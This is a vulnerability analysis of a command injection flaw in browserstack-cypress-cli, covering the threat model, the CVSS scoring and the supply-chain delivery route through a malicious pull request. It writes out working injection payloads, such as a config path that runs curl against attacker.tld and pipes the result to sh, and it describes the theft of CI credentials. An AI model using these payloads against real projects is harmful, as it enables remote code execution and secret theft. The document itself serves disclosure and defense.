browserstack-cypress-cli CVE-2026-48723

Exploitation requires the attacker to control the cypress_config_file / cypress_config_filepath value passed to browserstack-cypress-cli (typically via browserstack.json or a --config-file CLI argument), and a legitimate user or CI job must then invoke the CLI against that config (CVSS UI:R). No BrowserStack authentication or special privilege is needed on the attacker side (PR:N) because the injection happens entirely in the victim's local Node.js process before any remote call. The flaw is in the default code path of loadJsFile()/convertTsConfig() - no non-default feature flag is required - but the attack vector is local (AV:L): there is no network listener, so realistic delivery is via supply-chain channels such as a malicious PR modifying browserstack.json, a poisoned shared CI template, or a repo containing a crafted config file. Platform is not a limiter: separate POSIX (";cmd;") and Windows ("&cmd&") injection branches both existed pre-patch.

The CVSS 3.1 vector AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) reflects the realistic threat model: this is not network-exploitable - an attacker must supply or influence the cypress_config_file path that a CI runner or developer machine consumes (e.g., a malicious config in a PR, repo, or shared CI artifact), and the victim must then invoke the CLI (UI:R). When that happens, execution is fully reliable (AC:L) and gives full CIA impact in the CI/developer context, which often holds source-repo, cloud, and BrowserStack credentials - a strong supply-chain pivot. No EPSS or KEV data was supplied and no public exploit identified at time of analysis; however the fix commit and unit tests publicly demonstrate working payload shapes (e.g., cypress.config";curl localhost:8000/shell.sh|sh;".js), so weaponization is trivial. The CVSS description mentions versions "prior to 1.36.4" but the same paragraph states the fix shipped in 1.36.6 - verify the actual fixed release against the vendor advisory before relying on either number.

An attacker submits a pull request to a repository that uses browserstack-cypress-cli in CI, setting cypress_config_file in browserstack.json to cypress.config";curl attacker.tld/x.sh|sh;".js (the exact pattern in the project's new negative tests). When the CI job runs browserstack-cypress run, the interpolated execSync command breaks out of the quoted path and executes the attacker's shell, exfiltrating BrowserStack credentials and any CI secrets in scope. Equivalent payloads using backticks or $() work on POSIX, and & works on Windows where the code took the set NODE_PATH=...&& branch.